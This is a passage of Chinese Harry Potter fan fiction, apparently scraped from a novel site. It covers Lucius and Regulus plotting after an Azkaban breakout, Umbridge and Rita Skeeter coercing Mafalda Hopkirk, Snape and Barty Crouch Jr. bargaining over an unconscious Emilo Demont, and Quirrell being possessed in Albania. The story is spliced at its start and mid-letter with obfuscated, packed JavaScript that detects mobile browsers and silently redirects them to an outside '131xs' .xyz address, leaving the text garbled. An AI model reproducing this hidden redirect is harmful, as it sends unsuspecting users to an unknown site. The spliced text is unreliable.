l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237749|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科说了句什么,带着明显还想听大人说话的儿子离开了餐厅。 卢修斯看着妻儿离开,然后从怀里取出了一张显然是样刊的《预言家日报》,推到了雷古勒斯面前。巨大的标题赫然在目: 《讣告!正人君子还是食死徒靠山?揭露魔法法律执行司司长埃米洛·德蒙特的生平谎言!》 “1986年2月26日,时任魔法法律执行司司长,年未及26岁的埃米洛·德蒙特,于凌晨被傲罗发现在家中自杀,许多专家猜测他的自杀原因与他亲手放走了一大批食死徒有关,我们都知道……” “……德蒙特,他真的死了么?”雷古勒斯抬起眼,将那张报纸折起,塞进了西装马甲的内侧口袋里。 “哎呀,都25了,怎么还是这种孩子气的话呢?”卢修斯把身体放松地靠向椅背,示意多比给他倒上一杯殷红的葡萄酒。“德蒙特他死没有死,重要吗?” “就算他没有死,他现在也必须像一个死人一样活着。一个身后没有什么显赫家族背景撑腰,且上司也放弃掉了的高官,一旦失势,谁又会真正在意他的死活呢?” 他晃动着酒杯,看着挂杯的酒液:“邓布利多和阿米莉亚·伯恩斯还在竭力为他辩护,试图挽回他的名誉……但我们都知道,他这几年为了他那套可笑的‘公正’,动了太多人的蛋糕了。想让他消失的人,远不止我们。” 雷古勒斯握紧了手中细细的玻璃杯颈,指节有些发白。“……你早就知道阿兹卡班,贝拉他们会越狱的事情。” 所以才会有这份报纸样板。 “当然了。”卢修斯轻笑一声,带着一种掌控一切的傲慢,“不然你以为,单凭彼得·佩迪鲁那个废物,能独自完成那么多事情?他会有那么大的能耐和胆子么?” “要怪就怪小巴蒂自己太傲慢、太不小心了。我发现了他们在威胁博金·博克……那个博金,他向我求救了。”卢修斯的语气带着一丝不屑,“我等待了很多天,直到去博金·博克那里监督修理那件‘重要物品’的,就只剩下彼得·佩迪鲁。你也知道,他是个什么样的软蛋。稍微施加点压力,我自然就什么都知道了。” “他们修理那东西……‘消失柜’?是要干什么?”雷古勒斯继续追问。 “小巴蒂·克劳奇需要一条安全的通道,以便从霍格沃兹里偷出拉文克劳的冠冕。黑魔王比我们想象中还要信任他,我原以为他并没有告诉他所有创始人遗物的具体位置呢……” 卢修斯抿了一口酒,“至于他非要拿到冠冕的用途?炫耀战利品?私人收藏?毕竟那是霍格沃兹创始人的宝物,意义非凡……这一点,你应该最能理解了吧。”他意有所指地看向雷古勒斯,“毕竟,你不是也……拥有了斯莱特林的挂坠盒么?” 但那是个魂器。 雷古勒斯的心猛地一沉,仿佛瞬间坠入冰窖。一个极其可怕、却又无比合理的猜测在他脑中炸开:如果,如果黑魔王并非仅仅将灵魂分裂了一次,而是更多次……多到足以玷污所有能找到的霍格沃兹创始人遗物? 这想法太疯狂了。他的指甲下意识地掐入掌心,传来轻微的刺痛感。但……这很有可能,不是吗?如果真是这样,那么很多疑惑就都说得通了。小巴蒂确实并非叛徒,他极有可能是最忠实、知晓最多秘密的仆人之一……并且,他也知道魂器的存在! “来,让我们庆祝一下吧,雷尔。”卢修斯似乎没有察觉到他瞬间的僵硬,将另一杯倒好的红酒推到他面前,脸上带着志得意满的笑容。 “庆祝通往‘自由贸易’的金加隆之路,即将为我们敞开。” 雷古勒斯看着那杯在灯光下呈现出暗红色的液体,那颜色让曾经折磨他的那些记忆碎片再次翻涌而上。咣当一声脆响,他猛地一挥手,将那杯红酒狠狠推翻!深红的酒液如同鲜血般泼洒在雪白的桌布上,迅速洇开一大摊刺目的痕迹。 “……你这是什么意思。”卢修斯脸上的笑容瞬间消失,脸色冷了下来,他缓缓站起身,手杖重重顿在地上。 雷古勒斯也站起身,毫不退缩地迎上对方冰冷的目光,眼神同样锐利。 “我才要问你是不是疯了。”他冷笑一声。 “你暗中助力莱斯特兰奇他们越狱?你想做什么?让贝拉特里克斯那个疯女人成为新一代的女魔头?甚至第三任黑魔王?你忘了他们那一批人当年有多疯狂、多残忍了么?你想把所有人再次拖进地狱?” “那又如何?”卢修斯的声音冰冷而傲慢,带着一丝嘲讽,“小克劳奇堵死了黑魔王复活的最后一条道路,他再也不会再复活了。莱斯特兰奇家那群疯狗能掀起的风浪正好可以搅浑魔法部的水,这对我们有利,这就够了。而且,” “她再疯,也不会对你我、对布莱克和马尔福家下手。” 雷古勒斯深吸一口气,强迫自己冷静下来。他知道此刻绝不是和卢修斯彻底翻脸的时候。有更重要、更紧急的事情需要他去确认,去处理……比如,除了挂坠盒和冠冕,剩下的赫奇帕奇的金杯,以及格兰芬多的宝剑……他必须立刻去弄清楚这个。 他缓缓地坐了下来,脸上的怒容奇迹般地收敛了,甚至主动拿起酒瓶,重新为卢修斯斟了半杯红酒,语气恢复了平静:“……不好意思。卢修斯,我只是……最近心情有些烦躁。贝拉堂姐的回归,让我想起了一些不愉快的事情。” “唔……可以理解,”卢修斯审视了他片刻,似乎接受了他的解释,脸上重新露出满意的笑容,也顺势坐了下来,“茜茜也是对贝拉有些怨言的,觉得她太过冲动……但我们是一家人,总能找到相处之道,不是吗?” 雷古勒斯对他露出一个完美无缺的、属于布莱克家族继承人的社交微笑,动作自然地将卢修斯之前递给他的、印着那位奥黛丽小姐联系方式的精致名片,收进了胸前的口袋里。卢修斯见他如此“上道”,脸上的笑容更深了些,两人再次举杯,轻轻相碰,水晶杯壁发出清脆的响声。 43.鲍勃奥格登 今天真是个好日子。 多洛雷斯·乌姆里奇昂着那粗短的脖子,心情好到看走廊墙壁上剥落的漆皮都像镀上了一层金。 她手里紧紧攥着那张升职调令。羊皮纸的边缘已被她汗湿的手指捏得微微卷曲,但她丝毫不介意——这是她等待了十年的战利品。 “早上好,乌姆里奇女士。”一个年轻的实习巫师怯生生地打招呼,却被完全无视。乌姆里奇几乎是用鼻孔打量着周围的一切,那双鼓胀的青蛙眼里闪烁着胜利的光芒。十年了,整整十年,她终于等来了扬眉吐气的时刻。 她故意将那双粉色的高跟鞋踩得咔嗒作响,每一步都像是要在地板上凿刻下她胜利的印记。几个低阶职员匆忙让路,彼此交换着心照不宣的眼神——乌姆里奇的晋升早已在各部门传开,人人都知道这意味着什么。 “看看她,”一个卷发女巫对同伴耳语,“简直像只吞了金丝雀的猫。” “嘘!她听得见……” 乌姆里奇确实听见了,但她只是嘴角扯出一个几乎看不见的弧度。让她们嚼舌根去吧,从今天起,这些人的职业生涯都将捏在她的手心里。 她走进电梯,里面站了两个熟悉的身影——亚瑟·韦斯莱与玛法尔达·霍普科克。他们刚才在门口碰见了,亚瑟得知玛法尔达没有吃饭后,便不由分说地将莫丽亲手做的牛肉三明治分了她一半。此刻两人手里都捏着油纸包裹的三明治,电梯里弥漫着黑胡椒和烤牛肉的香气。 乌姆里奇的眼睛眯成了两条细缝,她打量着眼前这对“三明治搭档”,鼻腔里发出一声轻不可闻的哼声。 “哦——你是谁来着……对了,霍普科克——”乌姆里奇拖长了调子,像品尝一块太妃糖似的咂摸着对方的姓氏。她嫌恶地瞥了一眼他们手中的三明治,仿佛那是什么污秽之物,“只有没有教养的人才会在公共场所吃有气味儿,而且便宜的食物——”她的调子拖的很长,成功让玛法尔达红了脸。 “今天晚上之前,把我桌子上的资料整理好——国际魔法贸易标准委员会的会议记录,还有与神奇动物管理控制司的交叉备案,全部要按照新的编码系统重新归档。” 玛法尔达低下了头:“副司长……那些文件至少有十箱,而且新的编码系统还没有完全...” “别人都能做完,怎么你就不行?”乌姆里奇趾高气昂的盯着她。 “副司长?”韦斯莱先生显然还在状况外。 “看看,看看。”乌姆里奇用肥短的手指轻轻抚过羊皮纸上“法律执行司副司长”那几个烫金大字,嘴角抑制不住地向上扯动,几乎要迸发出一阵得意的大笑,“哎呀,亚瑟。我记得我们可是同一年来的……看在我们曾经是同学的份上,你需不需要我传递给你点经验?” 韦斯莱先生的眉毛扬了起来,额头上挤出几道深深的皱纹,他没有理会她的挑衅,反而为身边的玛法尔达打抱不平:“多洛雷斯,这未免太强人所难了。玛法尔达不是你的助理,而且那些文件……” “亚瑟,亲爱的亚瑟。”乌姆里奇的声音甜得发腻,“我当然知道她是伯恩斯的助理,但伯恩斯被停职了,我现在可是在帮她,一个没有事儿干的助理……哼,你觉得福吉部长会不会把她裁了?” 电梯内的空气瞬间凝固了。玛法尔达的手指收紧,捏扁了手中的三明治,油渍从纸包中渗了出来。 乌姆里奇心满意足的笑了,真可谓三十年河东,三十年河西。这个位置本该早就该是她的了!一想到德蒙特和乔金斯,她的后槽牙就咬得咯咯作响。那两个小鬼害她被流言蜚语缠绕了整整十年,像一块发霉的膏药似的粘在她的职业生涯上!但现在呢?她不仅拿回了本该属于她的位置,而他们——一个死了,一个被扫地出门。所以说,姜还是老的辣。 电梯门终于打开,乌姆里奇昂首挺胸地走了出去,留下一阵令人作呕的甜腻香水味。 玛法尔达与韦斯莱先生飞快地对视了一眼,两人的目光在空中交汇——一个写满了担忧,一个燃烧着压抑的怒火。 “别往心里去,玛法尔达。”亚瑟压低声音说,“你知道她是什么样的人。” “但她现在是副司长了,亚瑟。这意味着我们所有人的日子都不会好过。”玛法尔达的声音微微发颤,“这个月来部里已经天翻地覆,现在她又…...” 这几个月来,魔法部简直像被施了混乱咒。克劳奇部长莫名其妙地把乔金斯副部长辞退了(彼得·佩迪鲁用复方汤剂假扮的克劳奇,为了掩盖伯莎·乔金斯被绑架的真相)。紧接着,德蒙特司长又匪夷所思地滥用职权,私自放出了一大批阿兹卡班的食死徒,最后被发现在家中“自杀”身亡。最后,巴蒂·克劳奇部长,又被爆出惨遭食死徒谋杀…… 部里流传的说法是,乔金斯副部长被克劳奇辞退是压倒埃米洛·德蒙特的最后一根稻草,他早就对克劳奇怀恨在心,而且暗恋乔金斯,所以才做出了这等疯狂之举。 阿米莉亚·博恩斯因为坚持为埃米洛辩解,被调到了国际魔法合作司接替克劳奇的部长职位。而法律执行司这边,接替德蒙特司长位置的,是前傲罗办公室主任鲁弗斯·斯克林杰,副部长的职位空缺,最终决定从有经验的人选中“择优”选拔——结果就是,乌姆里奇连跳三级,一举登上了副司长的宝座。 鸡犬升天,小人得志——这几乎是所有知情者心照不宣的看法。 “坚持住,”亚瑟拍拍玛法尔达的肩膀,“记住,不是所有人都相信埃米洛有罪。我,还有阿米莉亚,都在暗中调查真相,我们需要时间。” 玛法尔达勉强点头,在走廊尽头与韦斯莱先生道别。后者拍了拍她的肩膀,眼神里满是无声的鼓励。 临近中午,她刚准备去吃饭,一只淡粉色的纸飞机就精准地撞上了她的额头——是乌姆里奇的传讯,让她立刻去副部长办公室一趟。 “倒霉透了!”她哀嚎一声,认命地走向那间熟悉的办公室。这里曾经是阿米莉亚·博恩斯的地方,简洁、高效。但现在,它已经完全变了一副模样。 墙壁被粉刷成一种甜得发腻的粉红色,上面挂满了镶着蕾丝花边的装饰盘,每个盘子上都画着一只不同形态、咧着嘴笑的卡通猫咪。一张巨大的、覆盖着粉色天鹅绒的办公桌占据了大半空间,桌上摆着一个闪烁着“遵守纪律”字样的水晶牌。最令人不适的是空气里弥漫着一股过于甜腻的香水味,混合着红茶的香气,闷得人几乎喘不过气。 粉色天鹅绒沙发上,除了像一朵毒蘑菇般端坐的乌姆里奇,还坐着另一个女人——一身耀眼的绿袍子,金色卷发精心打理成僵硬的大波浪,一副镶着珠宝的眼镜骑在鼻梁上。一根长长的、鲜艳的孔雀羽毛笔正自动悬浮在半空中,在一卷羊皮纸上嗖嗖地写着什么。 “这位是《预言家日报》的编辑,丽塔·斯基特。她有事情要问你。”乌姆里奇用她那种特有的、又尖又假的小姑娘般的声音高傲地宣布。她随即吩咐玛法尔达:“去,给我泡一杯红茶,要加三块糖和一点点牛奶——精确一点点。” 玛法尔达依言照办,小心翼翼地使用那套印着猫咪图案的茶具。她能感觉到两个女人的目光像针一样扎在她的背上。 “别紧张,坐。”当玛法尔达将描着金边、印着猫咪图案的茶杯递给她时,乌姆里奇在里面洒了些糖,搅拌后,却突然将杯子推回到玛法尔达面前,脸上堆着一个宽窄不一的假笑,“走了半天路,渴了吧?喝点水。” 玛法尔达接过杯子,指尖碰到温热的瓷壁,她犹豫了一下。茶杯里的液体呈现出正常的红茶颜色,但似乎……有一种莫名的、甜腻之外的古怪气味。她没有喝,只是将它放在了膝盖上。 “你觉得你上一任上司,埃米洛·德蒙特,是个什么样的人?”丽塔·斯基特开始了她的第一个问题。 玛法尔达的脊背僵直了:“斯基特女士,我不认为我应该...” “哦,放松,亲爱的,”丽塔的笑容更加灿烂,“只是一些背景信息,帮助我们了解这场悲剧的...上下文。你知道,公众有权知道真相。” “啊......我觉得他很好,话不多,效率很高,虽然表面上有些冷冰冰的,但其实很友善,很公正......”玛法尔达谨慎地挑选着词汇。 “哦,我知道了。”丽塔·斯基特满意地靠回沙发背。那根自动速记羽毛笔立刻疯狂地舞动起来,玛法尔达清楚地看见它在羊皮纸上写下了一行花体字:性格冷酷,对下属施行精神冷暴力,令人窒息。 “你们不能这样!”玛法尔达激动地站了起来,茶杯从她膝盖上滑落,在地毯上摔得粉碎,粉红色的茶水溅得到处都是。 “谁允许你在这里没大没小?!”乌姆里奇的脸瞬间冷了下来,像刷了一层浆糊,“快给斯基特女士道歉!立刻!” “她明明......她扭曲我的话!”玛法尔达气得声音发抖,眼眶泛红,委屈地站在原地。 “别对小朋友发火嘛,多洛雷斯...”丽塔·斯基特假惺惺地打着圆场,脸上却带着看好戏的表情。她又变魔术似的推过来另一杯一模一样的茶,“来,亲爱的,喝口水,压压惊,我们继续...” 玛法尔达看着那杯新茶,突然感到一阵寒意。她意识到这不是偶然的泼洒,而是乌姆里奇设计好的环节。那双鼓胀的青蛙眼里闪烁着期待的光芒,她在等什么? “我...我不渴,谢谢。”玛法尔达低声说,小心地避开那杯茶。 乌姆里奇的嘴角轻微地抽搐了一下,眼中的光芒熄灭了,取而代之的是危险的阴霾。 “好吧,”丽塔·斯基特的声音依然甜美,但多了几分尖锐,“那么让我们谈谈德蒙特司长与阿兹卡班越狱事件的关系。有证据显示,他私下里与某些食死徒家族交往甚密,这是真的吗?” “当然不是!”玛法尔达脱口而出,“德蒙特司长是无辜的……” “无辜到私自签署释放令?”乌姆里奇突然插话,声音尖利,“我在法律执行司的时候就看到过可疑的迹象,可惜没人听我的。” 羽毛笔再次疯狂舞动:消息人士透露,德蒙特早有前科,乌姆里奇曾试图警告上级。 “这不是真的!”玛法尔达感到一阵绝望,“你们在编造故事!” “亲爱的,”丽塔向前倾身,眼镜后的眼睛眯成一条缝,“在我的行业里,我们称之为‘构建叙事’。而现在,我建议你谨慎选择自己要扮演的角色——是配合的知情者,还是...阻碍调查的同谋。” 玛法尔达看着眼前两个女人,突然明白了自己的处境。这不是一次简单的访谈,而是一场审讯,一次招募,或者更糟——一个陷阱。 她深吸一口气,强迫自己冷静下来:“如果你们没有其他问题,我需要回去工作了。副部长的文件还需要整理。” 乌姆里奇的笑容完全消失了,她的小眼睛像两颗坚硬的石子:“很好,霍普科克。今晚之前,所有文件必须整理完毕。否则,我会开始怀疑你的...工作效率问题。” ------ 蜘蛛尾巷19号,西弗勒斯·斯内普将注射器举到昏暗的光源下,抽取出精确到滴的琥珀色魔药。苍白修长的手指稳定地弹了弹针管,驱赶走里面细微的气泡,然后将冰凉的液体缓缓推入床上那人的静脉。 他购置的床上用品是墨绿色的——墨绿色的床单,墨绿色的枕套,墨绿色的被罩……上面都用银线精细地刺绣着缠绕吐信的蛇形图案。 银与绿当然是世上最尊贵、最协调的色彩,身为一个斯莱特林出身,并以此为傲的巫师,这两种颜色构成了他生命全部的、阴郁而骄傲的审美。但近来,他却总是对着这片浓重的墨绿皱眉,心情也随之陷入一种复杂而低压的低气压中……他将其归咎于这个躺在他床上、迟迟不肯醒来的人。 他活了26年,认识埃米洛·德蒙特有15年,超过他生命的一半时光。他的记忆飘回他们还在霍格沃兹的日子。那时候他们身形很像,并非霍格沃茨的家养小精灵手艺不精,而是因为他们都一样,不得不在繁重的课业之外,为拮据的金加隆和渺茫的前途苦苦挣扎。因此,他们都有着青春期特有的、近乎嶙峋的削薄,蓬勃生长的骨骼像是某种鸟类的翅膀,轻易地穿透单薄的皮肤和衬衫,显露出尖锐的轮廓。 但除了相似的清瘦与窘迫,他又觉得对方与自己截然不同。因为那双眼睛里总是烧着一把不服输的,理想主义的倔强——让他莫名厌恶,总想用最冰冷的现实和无情的嘲讽将其彻底扑灭,逼他认清世道,像自己一样对权力低下头颅。 或许是少年时代的印象过于鲜明,纵使后来岁月流逝,对方的眼神逐渐被阅历磨砺得平和,斯内普潜意识里仍觉得他就该是那副样子——就该是那种被命运一次次折断又能把自己重新拼凑起来,即使用最廉价的胶布缠裹也依旧能挣扎着活下去的样子。 而不是像现在这样,安静得像一页褪了色的旧羊皮纸,毫无生气地躺在这里。墨绿色的枕套将他失血的脸庞衬托得愈发苍白,一条条银线绣出的毒蛇仿佛正张开獠牙,无声地吮吸着他的生命力。 注视着昏迷不醒的埃米洛,他会不可抑制地想到另一位故人……想到戈德里克山谷那栋被炸毁的房屋,想到凌乱的废墟,想到那双永远失去生机、曾如翡翠般鲜活的眼眸…… 格兰芬多都一样,他想,醒着的时候总是如此鲜明,眼里的某种火焰让他们轻易就能与其他学院的人区分开来。可一旦闭上眼,躺在那里,却又和所有人一样了——苍白、脆弱、毫无分别。 斯内普深吸了一口混合着魔药苦味和旧书尘埃的空气,强迫自己收回思绪,坐回旁边的书案前,重重地翻开一本厚如砖块、讲述“厉火诅咒及其创伤”的黑魔法古籍。 地下室的门被猛地推开。 小巴蒂·克劳奇嚼着一块巧克力蛙,漫不经心地晃了进来。他的眼睛下方有着深深的阴影,但瞳孔中却燃烧着一种不健康的兴奋光芒。 “……我说过。”西弗勒斯忍无可忍地开口,声音像在地窖里浸过一样冰冷,“你需要遵守我家的规矩。比如,先敲门,后进屋。” “真不好意思,”小巴蒂毫无诚意地嘟囔了一句,目光直接投向床上的人,“为什么外伤和内伤都用魔法治好了,人却还没醒?”他像检查物品一样凑近,几乎把脸贴到埃米洛鼻子前。 西弗勒斯懒得理他。他也想知道这个问题的答案。 “你没做什么手脚吧?”小巴蒂猛地直起身,弯腰逼近斯内普,眼睛里闪烁着疯狂而多疑的光芒,“如果让我知道你动了什么不该动的心思,我们亲爱的小救世主今天就……” 西弗勒斯缓缓站起身,他的身高原本就超过小巴蒂,此刻在昏暗的光线下更是投下一道威胁性的阴影:“……如果你的脑子还没有被阿兹卡班的摄魂怪和永无止境的疯狂彻底吃掉,就应该明白,我不会蠢到去违背牢不可破的誓言。” 他恶狠狠地把那本厚得能砸死人的书拍在小巴蒂的胸口:“这么着急不如自己查!” 小巴蒂接住书:“哦,我会的。但首先,告诉我你的诊断,魔药大师。” 西弗勒斯的嘴唇抿成一条薄薄的白线:“厉火咒的驱动力源自施咒者的灵魂献祭。我怀疑他的灵魂在最后关头受到了某种程度的反噬或损伤,这才是他一直昏迷不醒的根源。但众所周知,几乎没有什么办法能有效修补人的灵魂。” “你说‘几乎’。”小巴蒂轻轻地把那本厚书放在一堆摇摇欲坠的书册最顶端,动作甚至称得上一丝轻柔,“就说明,其实你找到了办法,是不是?” 西弗勒斯极其厌恶地瞥了他一眼。他从长袍内袋里掏出一张明显年代久远、边缘磨损的羊皮纸,用指尖点了点上面一行模糊的古代如尼文。 “尼克·勒梅创造了魔法石……”小巴蒂凑过去,低声念着,“用于制作长生不老药……魔法石是一种具有非凡功能的炼金产物,其核心能量可以稳定乃至修补受损的灵魂……配合针对□□的时间魔法回溯,达到长生不老的效果……”他抬起头,眼中闪烁着兴奋交织的光芒,“所以……只要找到魔法石就可以?或者说,找到尼克·勒梅那个老家伙?” “正确。”西弗勒斯抬眼看他,黑色的眼睛里没有任何情绪,“我已经打探清楚了,魔法石目前被严密保管在古灵阁地下金库,编号713……但能否拿到,就看你的本事了。” 他指了指周围正在咕嘟冒泡的好几坩埚魔药,“如你所见——我走不开。而且我白天还需要给霍格沃茨那群脑子里塞满芨芨草的小巨怪上课。除非,你能找到一个足够狡猾和冷静的人,喝下我的复方汤剂,并且能完美地扮演我,而不被邓布利多看出破绽——” 小巴蒂突然咯咯地笑了起来,那声音令人毛骨悚然:“哦,西弗勒斯,你总是这么谨慎……但我怎么觉得你话里有话呢?” 他的把巧克力蛙画片扣在桌子上,里面的邓布利多正对着两个人微笑:“一个陷阱?针对我的?魔法石这么凑巧的出现在了古灵阁?” “让我想想那里会有什么……魔法陷阱?埋伏的傲罗?凤凰社的成员?你怎么做到的……规避牢不可破的誓言漏洞与他们联系。” 西弗勒斯的眉头微微皱起,对方比他想象的还要聪明狡猾。 “那就这样吧。”小巴蒂无所谓的摊了摊手:“我承认,我是想让他活着。但他远没有你想象的那么重要……不知道德蒙特学长在你心里到了哪个位置?” 沉默,大面积的沉默开始在两人之间蔓延。 “发现了吗,你在跟我玩一场心理博弈……”小巴蒂指指西弗勒斯的胸口:“我们都在赌,赌那个人在彼此心里的位置……但我们都一样,虚虚实实……” “真让人伤心啊……”他的笑容扩大了,“我们应该放下这些算计,做一根绳子上的蚂蚱才对,我们该实现的是双赢,而不是两败俱伤。” 西弗勒斯看了他一眼:“我认为我没有什么是跟你利益趋同的,你拿什么拿捏我?光凭波特家的小子么?那你这就是纯纯的威胁了……我可以告诉你,别人拿到架在我脖子上的时候你还没有毕业。” “是啊……”小巴蒂轻松地说,语调像是在唱歌:“ 威胁当然不能建立同盟,所以说……我们要交换些利益。我要你把魔法石拿给我,我则给你某些……你一定会感兴趣的消息。” “哦,准确的说,不是我告诉你,而是需要醒过来的学长告诉你——”小巴蒂对着埃米洛的方向努努头,从衣兜里掏出一个小瓶子。 西弗勒斯的手下意识地握紧了:“这是什么?” “鲍勃·奥格登留给他关门弟子最后的东西以及遗书……我本来受到那只老鼠的启发想找到他替我做点事,没想到他已经去见梅林了……” 西弗勒斯展开那封信,不知为何竟然有些手抖,仿佛那不是一封信,而是潘多拉的墨盒。 致我亲爱的学生埃米洛: 希望这封信抵达时,你一切都好。不知上回我寄给你的那些书,你读得怎么样了?每次寄书给你时,你师母总在一旁轻轻摇头,说我太过严厉,总是抓着你不放。她说得对,我知道你是个自律又勤奋的好孩子,即便我不催促,你也一定会认真读完。只是我这固执的脾气,这么多年了,始终改不过来。 昨天,我去见了霍拉斯。我知道你一直希望我们两人能和解。谢谢你的心意,但有些裂痕,或许真的无法轻易弥合。我见他,不是因为原谅,而是因为我想在生命走向尽头之前,再看一眼那些曾经在我生命中留下痕迹的人——哪怕其中夹杂着遗憾与痛楚。 埃米洛,直到如今我才真正明白,我和霍拉斯其实并无不同。我们都因为想要自保,逃避过某些事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“其实他并没有告诉我……只是学长一直在帮我罢了……”他发出一阵短促而神经质的笑声,手指神经质地抽搐着。 “这都是命运……” 他的笑声在地牢里回荡,显得格外刺耳,“我通过奥格登的记忆——窥见了一切。我看到了黑魔王的过去……找到了他父亲的骨……本来是不能够这么快的。” 小巴蒂的声音骤然压低,在西弗勒斯的耳边亲密的说:“虽然毁了,不过没关系。” “复活石……那神圣的造物能带回来所有我们珍惜的人,所有我们失去的……当然,也包括你的莉莉·伊万斯。” “她是莉莉·波特!”斯内普的声音如同一条沾满毒液的鞭子,猛地从喉咙里抽出,低沉而危险地咆哮开来。他黑色的眼睛里翻滚着无法掩饰的痛楚与暴怒,“你不要用你肮脏的嘴说出她的名字!” “哦……?”小巴蒂挑起眉,露出一副皮笑肉不笑的表情,目光像冰冷的蛇一样缠绕着斯内普,“这么激动?看来你对她的死毫无愧疚咯?”他精准地刺向对方最深的伤口。 西弗勒斯·斯内普猛地闭上了眼睛,仿佛要将外界的景象和内心的风暴一同隔绝。他能感到那可怕的诱惑正在低语——复活石,它真的存在。但冰冷的理智随之而来,像一盆雪水浇熄了那瞬间燃起的、危险的希望之火。如果莉莉能回来,那意味着什么?那个杀死她的恶魔……那个他们皆曾效忠的黑魔王……他的力量也可能随之复苏…… “我现在可是什么都告诉你了。”小巴蒂微微一笑,坐在了埃米洛的床边,手指转着埃米洛有些长的头发玩着,等待着他的回答。 “就算你这么做,埃米洛也不会把复活石给你,他是最不希望黑魔王复活的那一个。这一点上,你们永远不可能达成共识……所以……” “你是不是傻了?”小巴蒂打断了他的话,哈哈大笑,扬了扬那封信:“我们为什么要告诉他真相呢?遗书是可以伪造的,我们只要利用他拿到那枚戒指就好了……对了,你甚至可以趁此杀死我,这样复活的就只会是你心爱的女孩儿了……别用这种眼神看我,你难道没想么?” “我说的对不对呀?魔药大师?” ----- 阿尔巴尼亚的密林深处,黑暗似乎比世界其他任何地方都要浓郁。奎里纳斯·奇洛独自一人艰难地行走在崎岖湿滑的山路上,手中的魔杖发出微弱的光芒,勉强照亮前方几英尺的道路。 周围寂静得可怕,参天古木遮天蔽日,只能偶尔透过缝隙看到几缕惨淡的阳光。远处零星散布着几户看起来贫困潦倒的麻瓜农舍。 奇洛的呼吸在寒冷的空气中凝成白雾。他不时停下来,检查手中的古老仪器——一个铜制的罗盘,上面刻满了神秘的符文。罗盘的指针疯狂地旋转着,然后突然指向某个方向。 “就...就快到了,”他自言自语道,声音因紧张而结巴。 一个瘦小黝黑、穿着破旧衣衫的小男孩,怀里紧紧抱着一头瑟瑟发抖的羔羊,惊慌失措地从他身边跑过,仿佛在躲避什么极其可怕的东西。很快,后面就追来了一群年纪稍大的男孩,他们拿着弹弓和尖锐的石块,嘴里发出粗野的嚎叫。 一块石头嗖地飞来,擦着抱羊小男孩的脸颊飞过,狠狠砸在后面一棵树的树干上。 “看他那怂样!”追来的男孩们爆发出一阵猖狂的大笑,“抓住他!把他和那只臭羊一起扔进泥塘里!” 奇洛的身体突然僵住了。眼前的场景与他记忆中最耻辱的一幕重叠在一起—— …… “快看呐!这是谁?这不是爱哭鬼奇洛吗?” “抓住他!把他的头按进马桶里!” “服不服?我问你服不服?” 潮水般冰冷而屈辱的记忆猛地攫住了奇洛。他憎恶地瞪着那群施暴的男孩,身体因愤怒而微微发抖。他下意识地打了个响指——无声无息地,那群坏孩子脚下的藤蔓猛地窜起,将他们全部绊倒在地,摔得七荤八素。 奇洛看着自己的手,眼中闪过一丝惊愕与狂喜。他不再理会身后的哭喊和咒骂,转身快步走入更加阴暗茂密的森林深处。 那个人说的是对的......他真的赐予了他无与伦比的力量!如果早在霍格沃茨读书的时候,他就拥有这样的力量该多好!那样他就绝不会被欺凌,他会让所有曾经看不起他、嘲笑他的人,都跪在地上对他刮目相看! 自打那群黑巫师从阿兹卡班成功越狱后,欧洲各地的黑市就开始以惊人的高价悬赏任何关于黑魔王的蛛丝马迹。无数精通黑魔法、擅长追踪咒的巫师和学者,为了那泼天的富贵和权势,都像嗅到血腥味的鲨鱼一样投入了这场疯狂的寻觅...... 那么多所谓的专家啊......奇洛想到这儿,几乎要咯咯地笑出声来。那么多声名显赫的学者,可最终率先找到那伟大存在残留踪迹的,却是他——一直被人轻视、忽略的奎里纳斯·奇洛! 身为一个不起眼的拉文克劳,他受尽欺凌;身为一个没有背景的学者,他的研究成果屡屡被权贵窃取;身为霍格沃茨的麻瓜研究课教授,他被那些傲慢的纯血统学生公然蔑视…… 是的,奇洛。一个冰冷、嘶哑却又充满无尽诱惑的声音直接在他脑海深处响起。我能赐予你梦寐以求的一切……力量、声望、无上的荣耀……甚至,阻止死亡—— 奇洛猛地停下脚步,心脏狂跳不止。那不是他的想象——那个声音真实存在,直接在他的脑海中回响! “主……主人?”他颤抖着低声问道。 继续向前,奇洛。声音再次响起,比之前更加清晰。 我在这里等着你。 奇洛几乎是跑着向前冲去,被树根绊倒了数次,长袍被荆棘撕破,但他毫不在意。最终,他来到一片林间空地。空地的中央,似乎躺着什么巨大的东西…… 蟒蛇!奇洛被吓得后退了半步。一条巨大的、鳞片闪烁着幽光的蟒蛇! 他感觉到一股强大的、不容抗拒的意志钻入了他的后脑勺,奇洛一阵眩晕,阴冷彻骨的寒风吹过树林,那几个刚刚爬起来、还在骂骂咧咧的欺负人的男孩突然悄无声息地出现在了中央那块儿空地上,眼神空洞,失去了所有生机。蟒蛇涂着信子,渐渐靠近这些“食物”…… 树林外,那个抱着羊羔的小男孩完全不清楚发生了什么,只知道眼前的坏孩子们消失了,吓得哇哇大哭起来。 他们死了!奇洛看着眼前血肉纷飞的一幕,控制不住地咯咯笑了起来,笑声尖锐而歇斯底里。他仿佛透过眼前的情景,看到了所有曾经欺负过他的人——霍格沃茨的同学、嘲笑他的同事、蔑视他的学生——一个个都以同样的方式在他面前痛苦地死去。他们死了!全都死了! 饱餐完毕,眼前的蟒蛇忽然猛地抽搐起来,痛苦地在地上翻滚挣扎,粗壮的蛇尾疯狂拍打着地面。 不许反抗我!纳吉尼! 奇洛听见自己用一种完全陌生的、冰冷刺骨的嘶嘶声说出了这句话。 蟒蛇的挣扎变得更加剧烈,仿佛正承受着巨大的痛苦。奇洛,或者说附在他身上的那个存在,缓缓地抬起了手——刹那间,林地上空乌云汇聚,天色变得如同深夜,连空气都凝固了。 半晌之后,蟒蛇停止了挣扎,瘫软在地,仿佛失去了所有力气。 奇洛的意识逐渐模糊,他感到自己的灵魂被挤压到一个小小的角落,而另一个更强大、更古老的意识正在占据他的身体。最后看到的,是空地中央那条巨大的蟒蛇缓缓抬起头,金色的眼睛在黑暗中发出诡异的光芒…… 